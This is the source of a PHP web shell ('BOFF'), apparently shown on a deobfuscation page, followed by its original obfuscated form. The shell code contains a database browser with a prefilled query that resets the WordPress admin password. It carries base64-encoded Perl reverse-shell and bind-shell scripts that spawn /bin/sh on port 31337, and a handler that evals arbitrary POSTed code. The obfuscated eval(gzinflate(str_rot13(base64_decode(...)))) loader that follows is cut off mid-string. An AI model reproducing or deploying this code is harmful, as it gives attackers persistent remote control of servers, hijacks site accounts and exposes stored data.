echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "-- wp new pass 123456789
UPDATE `wp_users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.' WHERE `wp_users`.`ID` =1 LIMIT 1 ;</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
BOFFFooter();
}
function actionNetwork() {
BOFFHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = BOFFEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = BOFFEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
BOFFFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"BOFF_version" => BOFF_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?><?
Did this file decode correctly?
Original Code
<?php
$auth_pass = "596a96cc7bf9108cd896f33c44aedc8a";
?>
<? eval(gzinflate(str_rot13(base64_decode('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